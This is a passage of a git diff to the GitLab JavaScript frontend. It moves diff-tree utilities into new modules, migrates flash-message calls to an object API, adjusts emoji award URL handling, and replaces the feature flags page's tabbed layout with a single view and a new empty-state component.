return (
@@ -666,10 +557,3 @@ export const allDiscussionWrappersExpanded = (diff) => {
return discussionsExpanded;
};
-
-export const getDefaultWhitespace = (queryString, cookie) => {
- // Querystring should override stored cookie value
- if (queryString) return queryString === SHOW_WHITESPACE;
- if (cookie === NO_SHOW_WHITESPACE) return false;
- return true;
-};
diff --git a/app/assets/javascripts/diffs/utils/diff_file.js b/app/assets/javascripts/diffs/utils/diff_file.js
index a96c1207a04..54dcf70c491 100644
--- a/app/assets/javascripts/diffs/utils/diff_file.js
+++ b/app/assets/javascripts/diffs/utils/diff_file.js
@@ -1,3 +1,5 @@
+import { diffViewerModes as viewerModes } from '~/ide/constants';
+import { changeInPercent, numberToHumanSize } from '~/lib/utils/number_utils';
import { truncateSha } from '~/lib/utils/text_utility';
import { uuids } from '~/lib/utils/uuids';
@@ -46,6 +48,8 @@ function identifier(file) {
})[0];
}
+export const isNotDiffable = (file) => file?.viewer?.name === viewerModes.not_diffable;
+
export function prepareRawDiffFile({ file, allFiles, meta = false }) {
const additionalProperties = {
brokenSymlink: fileSymlinkInformation(file, allFiles),
@@ -84,3 +88,35 @@ export function isCollapsed(file) {
export function getShortShaFromFile(file) {
return file.content_sha ? truncateSha(String(file.content_sha)) : null;
}
+
+export function stats(file) {
+ let valid = false;
+ let classes = '';
+ let sign = '';
+ let text = '';
+ let percent = 0;
+ let diff = 0;
+
+ if (file) {
+ percent = changeInPercent(file.old_size, file.new_size);
+ diff = file.new_size - file.old_size;
+ sign = diff >= 0 ? '+' : '';
+ text = `${sign}${numberToHumanSize(diff)} (${sign}${percent}%)`;
+ valid = true;
+
+ if (diff > 0) {
+ classes = 'gl-text-green-600';
+ } else if (diff < 0) {
+ classes = 'gl-text-red-500';
+ }
+ }
+
+ return {
+ changed: diff,
+ text,
+ percent,
+ classes,
+ sign,
+ valid,
+ };
+}
diff --git a/app/assets/javascripts/diffs/utils/workers.js b/app/assets/javascripts/diffs/utils/workers.js
new file mode 100644
index 00000000000..985e75d1a17
--- /dev/null
+++ b/app/assets/javascripts/diffs/utils/workers.js
@@ -0,0 +1,107 @@
+import { truncatePathMiddleToLength } from '~/lib/utils/text_utility';
+import { TREE_TYPE } from '../constants';
+
+export const getLowestSingleFolder = (folder) => {
+ const getFolder = (blob, start = []) =>
+ blob.tree.reduce(
+ (acc, file) => {
+ const shouldGetFolder = file.tree.length === 1 && file.tree[0].type === TREE_TYPE;
+ const currentFileTypeTree = file.type === TREE_TYPE;
+ const path = shouldGetFolder || currentFileTypeTree ? acc.path.concat(file.name) : acc.path;
+ const tree = shouldGetFolder || currentFileTypeTree ? acc.tree.concat(file) : acc.tree;
+
+ if (shouldGetFolder) {
+ const firstFolder = getFolder(file);
+
+ path.push(...firstFolder.path);
+ tree.push(...firstFolder.tree);
+ }
+
+ return {
+ ...acc,
+ path,
+ tree,
+ };
+ },
+ { path: start, tree: [] },
+ );
+ const { path, tree } = getFolder(folder, [folder.name]);
+
+ return {
+ path: truncatePathMiddleToLength(path.join('/'), 40),
+ treeAcc: tree.length ? tree[tree.length - 1].tree : null,
+ };
+};
+
+export const flattenTree = (tree) => {
+ const flatten = (blobTree) =>
+ blobTree.reduce((acc, file) => {
+ const blob = file;
+ let treeToFlatten = blob.tree;
+
+ if (file.type === TREE_TYPE && file.tree.length === 1) {
+ const { treeAcc, path } = getLowestSingleFolder(file);
+
+ if (treeAcc) {
+ blob.name = path;
+ treeToFlatten = flatten(treeAcc);
+ }
+ }
+
+ blob.tree = flatten(treeToFlatten);
+
+ return acc.concat(blob);
+ }, []);
+
+ return flatten(tree);
+};
+
+export const generateTreeList = (files) => {
+ const { treeEntries, tree } = files.reduce(
+ (acc, file) => {
+ const split = file.new_path.split('/');
+
+ split.forEach((name, i) => {
+ const parent = acc.treeEntries[split.slice(0, i).join('/')];
+ const path = `${parent ? `${parent.path}/` : ''}${name}`;
+
+ if (!acc.treeEntries[path]) {
+ const type = path === file.new_path ? 'blob' : 'tree';
+ acc.treeEntries[path] = {
+ key: path,
+ path,
+ name,
+ type,
+ tree: [],
+ };
+
+ const entry = acc.treeEntries[path];
+
+ if (type === 'blob') {
+ Object.assign(entry, {
+ changed: true,
+ tempFile: file.new_file,
+ deleted: file.deleted_file,
+ fileHash: file.file_hash,
+ addedLines: file.added_lines,
+ removedLines: file.removed_lines,
+ parentPath: parent ? `${parent.path}/` : '/',
+ submodule: file.submodule,
+ });
+ } else {
+ Object.assign(entry, {
+ opened: true,
+ });
+ }
+
+ (parent ? parent.tree : acc.tree).push(entry);
+ }
+ });
+
+ return acc;
+ },
+ { treeEntries: {}, tree: [] },
+ );
+
+ return { treeEntries, tree: flattenTree(tree) };
+};
diff --git a/app/assets/javascripts/diffs/workers/tree_worker.js b/app/assets/javascripts/diffs/workers/tree_worker.js
index 2fa1934439e..6d1bc78ba1c 100644
--- a/app/assets/javascripts/diffs/workers/tree_worker.js
+++ b/app/assets/javascripts/diffs/workers/tree_worker.js
@@ -1,5 +1,5 @@
import { sortTree } from '~/ide/stores/utils';
-import { generateTreeList } from '../store/utils';
+import { generateTreeList } from '../utils/workers';
// eslint-disable-next-line no-restricted-globals
self.addEventListener('message', (e) => {
diff --git a/app/assets/javascripts/editor/extensions/editor_ci_schema_ext.js b/app/assets/javascripts/editor/extensions/editor_ci_schema_ext.js
index ae6c89d3942..c5ee61ec86e 100644
--- a/app/assets/javascripts/editor/extensions/editor_ci_schema_ext.js
+++ b/app/assets/javascripts/editor/extensions/editor_ci_schema_ext.js
@@ -14,9 +14,9 @@ export class CiSchemaExtension extends EditorLiteExtension {
* @param {Object} opts
* @param {String} opts.projectNamespace
* @param {String} opts.projectPath
- * @param {String?} opts.ref - Current ref. Defaults to master
+ * @param {String?} opts.ref - Current ref. Defaults to main
*/
- registerCiSchema({ projectNamespace, projectPath, ref = 'master' } = {}) {
+ registerCiSchema({ projectNamespace, projectPath, ref } = {}) {
const ciSchemaPath = Api.buildUrl(Api.projectFileSchemaPath)
.replace(':namespace_path', projectNamespace)
.replace(':project_path', projectPath)
diff --git a/app/assets/javascripts/emoji/awards_app/index.js b/app/assets/javascripts/emoji/awards_app/index.js
index 16268910f49..1a084d37762 100644
--- a/app/assets/javascripts/emoji/awards_app/index.js
+++ b/app/assets/javascripts/emoji/awards_app/index.js
@@ -32,7 +32,7 @@ export default (el) => {
canAwardEmoji: this.canAwardEmoji,
currentUserId: this.currentUserId,
defaultAwards: ['thumbsup', 'thumbsdown'],
- selectedClass: 'gl-bg-blue-50! is-active',
+ selectedClass: 'selected',
},
on: {
award: this.toggleAward,
diff --git a/app/assets/javascripts/emoji/awards_app/store/actions.js b/app/assets/javascripts/emoji/awards_app/store/actions.js
index 482acc5a3a9..f0340209248 100644
--- a/app/assets/javascripts/emoji/awards_app/store/actions.js
+++ b/app/assets/javascripts/emoji/awards_app/store/actions.js
@@ -1,6 +1,7 @@
import * as Sentry from '@sentry/browser';
import axios from '~/lib/utils/axios_utils';
import { normalizeHeaders } from '~/lib/utils/common_utils';
+import { joinPaths } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
import showToast from '~/vue_shared/plugins/global_toast';
import {
@@ -13,8 +14,12 @@ import {
export const setInitialData = ({ commit }, data) => commit(SET_INITIAL_DATA, data);
export const fetchAwards = async ({ commit, dispatch, state }, page = '1') => {
+ if (!window.gon?.current_user_id) return;
+
try {
- const { data, headers } = await axios.get(state.path, { params: { per_page: 100, page } });
+ const { data, headers } = await axios.get(joinPaths(gon.relative_url_root || '', state.path), {
+ params: { per_page: 100, page },
+ });
const normalizedHeaders = normalizeHeaders(headers);
const nextPage = normalizedHeaders['X-NEXT-PAGE'];
@@ -33,13 +38,15 @@ export const toggleAward = async ({ commit, state }, name) => {
try {
if (award) {
- await axios.delete(`${state.path}/${award.id}`);
+ await axios.delete(joinPaths(gon.relative_url_root || '', `${state.path}/${award.id}`));
commit(REMOVE_AWARD, award.id);
showToast(__('Award removed'));
} else {
- const { data } = await axios.post(state.path, { name });
+ const { data } = await axios.post(joinPaths(gon.relative_url_root || '', state.path), {
+ name,
+ });
commit(ADD_NEW_AWARD, data);
diff --git a/app/assets/javascripts/emoji/components/picker.vue b/app/assets/javascripts/emoji/components/picker.vue
index e08d294b8c5..dc3eac0cd0c 100644
--- a/app/assets/javascripts/emoji/components/picker.vue
+++ b/app/assets/javascripts/emoji/components/picker.vue
@@ -23,6 +23,11 @@ export default {
required: false,
default: () => [],
},
+ dropdownClass: {
+ type: [Array, String, Object],
+ required: false,
+ default: () => [],
+ },
},
data() {
return {
@@ -78,8 +83,9 @@ export default {
ref="dropdown"
:toggle-class="toggleClass"
:boundary="getBoundaryElement()"
+ :class="dropdownClass"
menu-class="dropdown-extended-height"
- category="tertiary"
+ category="secondary"
no-flip
right
lazy
@@ -105,7 +111,7 @@ export default {
'gl-text-body! emoji-picker-category-active': index === currentCategory,
}"
type="button"
- class="gl-border-0 gl-border-b-2 gl-border-b-solid gl-flex-fill-1 gl-text-gray-300 gl-pt-3 gl-pb-3 gl-bg-transparent emoji-picker-category-tab"
+ class="gl-border-0 gl-border-b-2 gl-border-b-solid gl-flex-grow-1 gl-text-gray-300 gl-pt-3 gl-pb-3 gl-bg-transparent emoji-picker-category-tab"
:aria-label="category.name"
@click="scrollToCategory(category.name)"
>
diff --git a/app/assets/javascripts/environments/components/environment_actions.vue b/app/assets/javascripts/environments/components/environment_actions.vue
index 8911380290a..542b8c9219d 100644
--- a/app/assets/javascripts/environments/components/environment_actions.vue
+++ b/app/assets/javascripts/environments/components/environment_actions.vue
@@ -89,7 +89,7 @@ export default {
data-testid="manual-action-link"
@click="onClickAction(action)"
>
- <span class="gl-flex-fill-1">{{ action.name }}</span>
+ <span class="gl-flex-grow-1">{{ action.name }}</span>
<span v-if="action.scheduledAt" class="gl-text-gray-500 float-right">
<gl-icon name="clock" />
{{ remainingTime(action) }}
diff --git a/app/assets/javascripts/environments/components/environments_app.vue b/app/assets/javascripts/environments/components/environments_app.vue
index 602639f09a6..8bd71db957c 100644
--- a/app/assets/javascripts/environments/components/environments_app.vue
+++ b/app/assets/javascripts/environments/components/environments_app.vue
@@ -121,7 +121,7 @@ export default {
variant="info"
category="secondary"
type="button"
- class="gl-mb-3 gl-flex-fill-1"
+ class="gl-mb-3 gl-flex-grow-1"
>{{ $options.i18n.reviewAppButtonLabel }}</gl-button
>
<gl-button
diff --git a/app/assets/javascripts/environments/components/stop_environment_modal.vue b/app/assets/javascripts/environments/components/stop_environment_modal.vue
index 828a7098b36..7a9233048a9 100644
--- a/app/assets/javascripts/environments/components/stop_environment_modal.vue
+++ b/app/assets/javascripts/environments/components/stop_environment_modal.vue
@@ -58,7 +58,7 @@ export default {
<span
v-gl-tooltip
:title="environment.name"
- class="gl-text-truncate gl-ml-2 gl-mr-2 gl-flex-fill"
+ class="gl-text-truncate gl-ml-2 gl-mr-2 gl-flex-grow-1"
>
{{ environment.name }}?
</span>
diff --git a/app/assets/javascripts/error_tracking/components/error_details.vue b/app/assets/javascripts/error_tracking/components/error_details.vue
index f05f0cb7c6d..0a15cb56447 100644
--- a/app/assets/javascripts/error_tracking/components/error_details.vue
+++ b/app/assets/javascripts/error_tracking/components/error_details.vue
@@ -13,7 +13,7 @@ import {
GlIcon,
} from '@gitlab/ui';
import { mapActions, mapGetters, mapState } from 'vuex';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { __, sprintf, n__ } from '~/locale';
import Tracking from '~/tracking';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
@@ -88,7 +88,10 @@ export default {
},
pollInterval: 2000,
update: (data) => data.project.sentryErrors.detailedError,
- error: () => createFlash(__('Failed to load error details from Sentry.')),
+ error: () =>
+ createFlash({
+ message: __('Failed to load error details from Sentry.'),
+ }),
result(res) {
if (res.data.project?.sentryErrors?.detailedError) {
this.$apollo.queries.error.stopPolling();
@@ -225,7 +228,10 @@ export default {
if (Date.now() > this.errorPollTimeout) {
this.$apollo.queries.error.stopPolling();
this.errorLoading = false;
- createFlash(__('Could not connect to Sentry. Refresh the page to try again.'), 'warning');
+ createFlash({
+ message: __('Could not connect to Sentry. Refresh the page to try again.'),
+ type: 'warning',
+ });
}
},
trackPageViews() {
diff --git a/app/assets/javascripts/error_tracking/components/error_tracking_list.vue b/app/assets/javascripts/error_tracking/components/error_tracking_list.vue
index 0f564fc3c60..2e27f51b71f 100644
--- a/app/assets/javascripts/error_tracking/components/error_tracking_list.vue
+++ b/app/assets/javascripts/error_tracking/components/error_tracking_list.vue
@@ -260,7 +260,7 @@ export default {
</template>
<div v-else class="px-3">{{ __("You don't have any recent searches") }}</div>
</gl-dropdown>
- <div class="filtered-search-input-container gl-flex-fill-1">
+ <div class="filtered-search-input-container gl-flex-grow-1">
<gl-form-input
v-model="errorSearchQuery"
class="pl-2 filtered-search"
diff --git a/app/assets/javascripts/error_tracking/store/actions.js b/app/assets/javascripts/error_tracking/store/actions.js
index a27ebd16956..fbfcd6ce2df 100644
--- a/app/assets/javascripts/error_tracking/store/actions.js
+++ b/app/assets/javascripts/error_tracking/store/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { visitUrl } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
import service from '../services';
@@ -17,7 +17,11 @@ export const updateStatus = ({ commit }, { endpoint, redirectUrl, status }) =>
return resp.data.result;
})
- .catch(() => createFlash(__('Failed to update issue status')));
+ .catch(() =>
+ createFlash({
+ message: __('Failed to update issue status'),
+ }),
+ );
export const updateResolveStatus = ({ commit, dispatch }, params) => {
commit(types.SET_UPDATING_RESOLVE_STATUS, true);
diff --git a/app/assets/javascripts/error_tracking/store/details/actions.js b/app/assets/javascripts/error_tracking/store/details/actions.js
index 7319d45bbd2..09fa650f64b 100644
--- a/app/assets/javascripts/error_tracking/store/details/actions.js
+++ b/app/assets/javascripts/error_tracking/store/details/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import Poll from '~/lib/utils/poll';
import { __ } from '~/locale';
import service from '../../services';
@@ -26,7 +26,9 @@ export function startPollingStacktrace({ commit }, endpoint) {
},
errorCallback: () => {
commit(types.SET_LOADING_STACKTRACE, false);
- createFlash(__('Failed to load stacktrace.'));
+ createFlash({
+ message: __('Failed to load stacktrace.'),
+ });
},
});
diff --git a/app/assets/javascripts/error_tracking/store/list/actions.js b/app/assets/javascripts/error_tracking/store/list/actions.js
index f07e546241a..418056314f6 100644
--- a/app/assets/javascripts/error_tracking/store/list/actions.js
+++ b/app/assets/javascripts/error_tracking/store/list/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import Poll from '~/lib/utils/poll';
import { __ } from '~/locale';
import Service from '../../services';
@@ -33,7 +33,9 @@ export function startPolling({ state, commit, dispatch }) {
},
errorCallback: () => {
commit(types.SET_LOADING, false);
- createFlash(__('Failed to load errors from Sentry.'));
+ createFlash({
+ message: __('Failed to load errors from Sentry.'),
+ });
},
});
diff --git a/app/assets/javascripts/error_tracking_settings/store/actions.js b/app/assets/javascripts/error_tracking_settings/store/actions.js
index 7eb684fb52c..c945a9e2316 100644
--- a/app/assets/javascripts/error_tracking_settings/store/actions.js
+++ b/app/assets/javascripts/error_tracking_settings/store/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { refreshCurrentPage } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
@@ -46,7 +46,10 @@ export const requestSettings = ({ commit }) => {
export const receiveSettingsError = ({ commit }, { response = {} }) => {
const message = response.data && response.data.message ? response.data.message : '';
- createFlash(`${__('There was an error saving your changes.')} ${message}`, 'alert');
+ createFlash({
+ message: `${__('There was an error saving your changes.')} ${message}`,
+ type: 'alert',
+ });
commit(types.UPDATE_SETTINGS_LOADING, false);
};
diff --git a/app/assets/javascripts/feature_flags/components/empty_state.vue b/app/assets/javascripts/feature_flags/components/empty_state.vue
new file mode 100644
index 00000000000..a6de4972bb1
--- /dev/null
+++ b/app/assets/javascripts/feature_flags/components/empty_state.vue
@@ -0,0 +1,95 @@
+<script>
+import { GlAlert, GlEmptyState, GlLink, GlLoadingIcon } from '@gitlab/ui';
+
+export default {
+ components: { GlAlert, GlEmptyState, GlLink, GlLoadingIcon },
+ inject: ['errorStateSvgPath', 'featureFlagsHelpPagePath'],
+ props: {
+ count: {
+ required: false,
+ type: Number,
+ default: null,
+ },
+ alerts: {
+ required: true,
+ type: Array,
+ },
+ isLoading: {
+ required: true,
+ type: Boolean,
+ },
+ loadingLabel: {
+ required: true,
+ type: String,
+ },
+ errorState: {
+ required: true,
+ type: Boolean,
+ },
+ errorTitle: {
+ required: true,
+ type: String,
+ },
+ emptyState: {
+ required: true,
+ type: Boolean,
+ },
+ emptyTitle: {
+ required: true,
+ type: String,
+ },
+ emptyDescription: {
+ required: true,
+ type: String,
+ },
+ },
+ computed: {
+ itemCount() {
+ return this.count ?? 0;
+ },
+ },
+ methods: {
+ clearAlert(index) {
+ this.$emit('dismissAlert', index);
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <gl-alert
+ v-for="(message, index) in alerts"
+ :key="index"
+ data-testid="serverErrors"
+ variant="danger"
+ @dismiss="clearAlert(index)"
+ >
+ {{ message }}
+ </gl-alert>
+
+ <gl-loading-icon v-if="isLoading" :label="loadingLabel" size="md" class="gl-mt-4" />
+
+ <gl-empty-state
+ v-else-if="errorState"
+ :title="errorTitle"
+ :description="s__('FeatureFlags|Try again in a few moments or contact your support team.')"
+ :svg-path="errorStateSvgPath"
+ data-testid="error-state"
+ />
+
+ <gl-empty-state
+ v-else-if="emptyState"
+ :title="emptyTitle"
+ :svg-path="errorStateSvgPath"
+ data-testid="empty-state"
+ >
+ <template #description>
+ {{ emptyDescription }}
+ <gl-link :href="featureFlagsHelpPagePath" target="_blank">
+ {{ s__('FeatureFlags|More information') }}
+ </gl-link>
+ </template>
+ </gl-empty-state>
+ <slot v-else> </slot>
+ </div>
+</template>
diff --git a/app/assets/javascripts/feature_flags/components/environments_dropdown.vue b/app/assets/javascripts/feature_flags/components/environments_dropdown.vue
index 7f316d20f9c..70b60b4b113 100644
--- a/app/assets/javascripts/feature_flags/components/environments_dropdown.vue
+++ b/app/assets/javascripts/feature_flags/components/environments_dropdown.vue
@@ -1,7 +1,7 @@
<script>
import { GlButton, GlSearchBoxByType } from '@gitlab/ui';
import { debounce } from 'lodash';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
@@ -87,7 +87,9 @@ export default {
.catch(() => {
this.isLoading = false;
this.closeSuggestions();
- createFlash(__('Something went wrong on our end. Please try again.'));
+ createFlash({
+ message: __('Something went wrong on our end. Please try again.'),
+ });
});
}, 250),
/**
diff --git a/app/assets/javascripts/feature_flags/components/feature_flags.vue b/app/assets/javascripts/feature_flags/components/feature_flags.vue
index 9aa1accb0f2..d08e8d2b3a1 100644
--- a/app/assets/javascripts/feature_flags/components/feature_flags.vue
+++ b/app/assets/javascripts/feature_flags/components/feature_flags.vue
@@ -1,5 +1,5 @@
<script>
-import { GlAlert, GlButton, GlModalDirective, GlSprintf, GlTabs } from '@gitlab/ui';
+import { GlAlert, GlBadge, GlButton, GlModalDirective, GlSprintf } from '@gitlab/ui';
import { isEmpty } from 'lodash';
import { mapState, mapActions } from 'vuex';
@@ -9,50 +9,40 @@ import {
historyPushState,
} from '~/lib/utils/common_utils';
import TablePagination from '~/vue_shared/components/pagination/table_pagination.vue';
-import { FEATURE_FLAG_SCOPE, USER_LIST_SCOPE } from '../constants';
import ConfigureFeatureFlagsModal from './configure_feature_flags_modal.vue';
-import FeatureFlagsTab from './feature_flags_tab.vue';
+import EmptyState from './empty_state.vue';
import FeatureFlagsTable from './feature_flags_table.vue';
-import UserListsTable from './user_lists_table.vue';
-
-const SCOPES = { FEATURE_FLAG_SCOPE, USER_LIST_SCOPE };
export default {
components: {
ConfigureFeatureFlagsModal,
- FeatureFlagsTab,
+ EmptyState,
FeatureFlagsTable,
GlAlert,
+ GlBadge,
GlButton,
GlSprintf,
- GlTabs,
TablePagination,
- UserListsTable,
},
directives: {
GlModal: GlModalDirective,
},
inject: {
- newUserListPath: { default: '' },
+ userListPath: { default: '' },
newFeatureFlagPath: { default: '' },
canUserConfigure: {},
featureFlagsLimitExceeded: {},
featureFlagsLimit: {},
},
data() {
- const scope = getParameterByName('scope') || SCOPES.FEATURE_FLAG_SCOPE;
return {
- scope,
page: getParameterByName('page') || '1',
- isUserListAlertDismissed: false,
shouldShowFeatureFlagsLimitWarning: this.featureFlagsLimitExceeded,
- selectedTab: Object.values(SCOPES).indexOf(scope),
};
},
computed: {
...mapState([
- FEATURE_FLAG_SCOPE,
- USER_LIST_SCOPE,
+ 'featureFlags',
'alerts',
'count',
'pageInfo',
@@ -69,64 +59,41 @@ export default {
canUserRotateToken() {
return this.rotateInstanceIdPath !== '';
},
- currentlyDisplayedData() {
- return this.dataForScope(this.scope);
- },
shouldRenderPagination() {
return (
!this.isLoading &&
!this.hasError &&
- this.currentlyDisplayedData.length > 0 &&
- this.pageInfo[this.scope].total > this.pageInfo[this.scope].perPage
+ this.featureFlags.length > 0 &&
+ this.pageInfo.total > this.pageInfo.perPage
);
},
shouldShowEmptyState() {
- return !this.isLoading && !this.hasError && this.currentlyDisplayedData.length === 0;
+ return !this.isLoading && !this.hasError && this.featureFlags.length === 0;
},
shouldRenderErrorState() {
return this.hasError && !this.isLoading;
},
shouldRenderFeatureFlags() {
- return this.shouldRenderTable(SCOPES.FEATURE_FLAG_SCOPE);
- },
- shouldRenderUserLists() {
- return this.shouldRenderTable(SCOPES.USER_LIST_SCOPE);
+ return !this.isLoading && this.featureFlags.length > 0 && !this.hasError;
},
hasNewPath() {
return !isEmpty(this.newFeatureFlagPath);
},
},
created() {
- this.setFeatureFlagsOptions({ scope: this.scope, page: this.page });
+ this.setFeatureFlagsOptions({ page: this.page });
this.fetchFeatureFlags();
- this.fetchUserLists();
},
methods: {
...mapActions([
'setFeatureFlagsOptions',
'fetchFeatureFlags',
- 'fetchUserLists',
'rotateInstanceId',
'toggleFeatureFlag',
- 'deleteUserList',
'clearAlert',
]),
- onChangeTab(scope) {
- this.scope = scope;
- this.updateFeatureFlagOptions({
- scope,
- page: '1',
- });
- },
- onFeatureFlagsTab() {
- this.onChangeTab(SCOPES.FEATURE_FLAG_SCOPE);
- },
- onUserListsTab() {
- this.onChangeTab(SCOPES.USER_LIST_SCOPE);
- },
onChangePage(page) {
this.updateFeatureFlagOptions({
- scope: this.scope,
/* URLS parameters are strings, we need to parse to match types */
page: Number(page).toString(),
});
@@ -141,22 +108,7 @@ export default {
historyPushState(buildUrlWithCurrentLocation(`?${queryString}`));
this.setFeatureFlagsOptions(parameters);
- if (this.scope === SCOPES.FEATURE_FLAG_SCOPE) {
- this.fetchFeatureFlags();
- } else {
- this.fetchUserLists();
- }
- },
- shouldRenderTable(scope) {
- return (
- !this.isLoading &&
- this.dataForScope(scope).length > 0 &&
- !this.hasError &&
- this.scope === scope
- );
- },
- dataForScope(scope) {
- return this[scope];
+ this.fetchFeatureFlags();
},
onDismissFeatureFlagsLimitWarning() {
this.shouldShowFeatureFlagsLimitWarning = false;
@@ -200,6 +152,16 @@ export default {
<div :class="topAreaBaseClasses">
<div class="gl-display-flex gl-flex-direction-column gl-md-display-none!">
<gl-button
+ v-if="userListPath"
+ :href="userListPath"
+ variant="confirm"
+ category="tertiary"
+ class="gl-mb-3"
+ data-testid="ff-new-list-button"
+ >
+ {{ s__('FeatureFlags|View user lists') }}
+ </gl-button>
+ <gl-button
v-if="canUserConfigure"
v-gl-modal="'configure-feature-flags'"
variant="info"
@@ -212,17 +174,6 @@ export default {
</gl-button>
<gl-button
- v-if="newUserListPath"
- :href="newUserListPath"
- variant="confirm"
- category="secondary"
- class="gl-mb-3"
- data-testid="ff-new-list-button"
- >
- {{ s__('FeatureFlags|New user list') }}
- </gl-button>
-
- <gl-button
v-if="hasNewPath"
:href="featureFlagsLimitExceeded ? '' : newFeatureFlagPath"
variant="confirm"
@@ -232,101 +183,70 @@ export default {
{{ s__('FeatureFlags|New feature flag') }}
</gl-button>
</div>
- <gl-tabs v-model="selectedTab" class="gl-align-items-center gl-w-full">
- <feature-flags-tab
- :title="s__('FeatureFlags|Feature Flags')"
- :count="count.featureFlags"
- :alerts="alerts"
- :is-loading="isLoading"
- :loading-label="s__('FeatureFlags|Loading feature flags')"
- :error-state="shouldRenderErrorState"
- :error-title="s__(`FeatureFlags|There was an error fetching the feature flags.`)"
- :empty-state="shouldShowEmptyState"
- :empty-title="s__('FeatureFlags|Get started with feature flags')"
- :empty-description="
- s__(
- 'FeatureFlags|Feature flags allow you to configure your code into different flavors by dynamically toggling certain functionality.',
- )
- "
- data-testid="feature-flags-tab"
- @dismissAlert="clearAlert"
- @changeTab="onFeatureFlagsTab"
- >
- <feature-flags-table
- v-if="shouldRenderFeatureFlags"
- :feature-flags="featureFlags"
- @toggle-flag="toggleFeatureFlag"
- />
- </feature-flags-tab>
- <feature-flags-tab
- :title="s__('FeatureFlags|User Lists')"
- :count="count.userLists"
- :alerts="alerts"
- :is-loading="isLoading"
- :loading-label="s__('FeatureFlags|Loading user lists')"
- :error-state="shouldRenderErrorState"
- :error-title="s__(`FeatureFlags|There was an error fetching the user lists.`)"
- :empty-state="shouldShowEmptyState"
- :empty-title="s__('FeatureFlags|Get started with user lists')"
- :empty-description="
- s__(
- 'FeatureFlags|User lists allow you to define a set of users to use with Feature Flags.',
- )
- "
- data-testid="user-lists-tab"
- @dismissAlert="clearAlert"
- @changeTab="onUserListsTab"
+ <div
+ class="gl-display-flex gl-align-items-baseline gl-flex-direction-row gl-justify-content-space-between gl-mt-6"
+ >
+ <div class="gl-display-flex gl-align-items-center">
+ <h2 data-testid="feature-flags-tab-title" class="gl-font-size-h2 gl-my-0">
+ {{ s__('FeatureFlags|Feature Flags') }}
+ </h2>
+ <gl-badge v-if="count" class="gl-ml-4">{{ count }}</gl-badge>
+ </div>
+ <div
+ class="gl-display-none gl-md-display-flex gl-align-items-center gl-justify-content-end"
>
- <user-lists-table
- v-if="shouldRenderUserLists"
- :user-lists="userLists"
- @delete="deleteUserList"
- />
- </feature-flags-tab>
- <template #tabs-end>
- <li
- class="gl-display-none gl-md-display-flex gl-align-items-center gl-flex-fill-1 gl-justify-content-end"
+ <gl-button
+ v-if="userListPath"
+ :href="userListPath"
+ variant="confirm"
+ category="tertiary"
+ class="gl-mb-0 gl-mr-4"
+ data-testid="ff-user-list-button"
>
- <gl-button
- v-if="canUserConfigure"
- v-gl-modal="'configure-feature-flags'"
- variant="info"
- category="secondary"
- data-qa-selector="configure_feature_flags_button"
- data-testid="ff-configure-button"
- class="gl-mb-0 gl-mr-4"
- >
- {{ s__('FeatureFlags|Configure') }}
- </gl-button>
-
- <gl-button
- v-if="newUserListPath"
- :href="newUserListPath"
- variant="confirm"
- category="secondary"
- class="gl-mb-0 gl-mr-4"
- data-testid="ff-new-list-button"
- >
- {{ s__('FeatureFlags|New user list') }}
- </gl-button>
+ {{ s__('FeatureFlags|View user lists') }}
+ </gl-button>
+ <gl-button
+ v-if="canUserConfigure"
+ v-gl-modal="'configure-feature-flags'"
+ variant="info"
+ category="secondary"
+ data-qa-selector="configure_feature_flags_button"
+ data-testid="ff-configure-button"
+ class="gl-mb-0 gl-mr-4"
+ >
+ {{ s__('FeatureFlags|Configure') }}
+ </gl-button>
- <gl-button
- v-if="hasNewPath"
- :href="featureFlagsLimitExceeded ? '' : newFeatureFlagPath"
- variant="confirm"
- data-testid="ff-new-button"
- @click="onNewFeatureFlagCLick"
- >
- {{ s__('FeatureFlags|New feature flag') }}
- </gl-button>
- </li>
- </template>
- </gl-tabs>
+ <gl-button
+ v-if="hasNewPath"
+ :href="featureFlagsLimitExceeded ? '' : newFeatureFlagPath"
+ variant="confirm"
+ data-testid="ff-new-button"
+ @click="onNewFeatureFlagCLick"
+ >
+ {{ s__('FeatureFlags|New feature flag') }}
+ </gl-button>
+ </div>
+ </div>
+ <empty-state
+ :alerts="alerts"
+ :is-loading="isLoading"
+ :loading-label="s__('FeatureFlags|Loading feature flags')"
+ :error-state="shouldRenderErrorState"
+ :error-title="s__(`FeatureFlags|There was an error fetching the feature flags.`)"
+ :empty-state="shouldShowEmptyState"
+ :empty-title="s__('FeatureFlags|Get started with feature flags')"
+ :empty-description="
+ s__(
+ 'FeatureFlags|Feature flags allow you to configure your code into different flavors by dynamically toggling certain functionality.',
+ )
+ "
+ data-testid="feature-flags-tab"
+ @dismissAlert="clearAlert"
+ >
+ <feature-flags-table :feature-flags="featureFlags" @toggle-flag="toggleFeatureFlag" />
+ </empty-state>
</div>
- <table-pagination
- v-if="shouldRenderPagination"
- :change="onChangePage"
- :page-info="pageInfo[scope]"
- />
+ <table-pagination v-if="shouldRenderPagination" :change="onChangePage" :page-info="pageInfo" />
</div>
</template>
diff --git a/app/assets/javascripts/feature_flags/components/feature_flags_tab.vue b/app/assets/javascripts/feature_flags/components/feature_flags_tab.vue
deleted file mode 100644
index d0df00e446b..00000000000
--- a/app/assets/javascripts/feature_flags/components/feature_flags_tab.vue
+++ /dev/null
@@ -1,106 +0,0 @@
-<script>
-import { GlAlert, GlBadge, GlEmptyState, GlLink, GlLoadingIcon, GlTab } from '@gitlab/ui';
-
-export default {
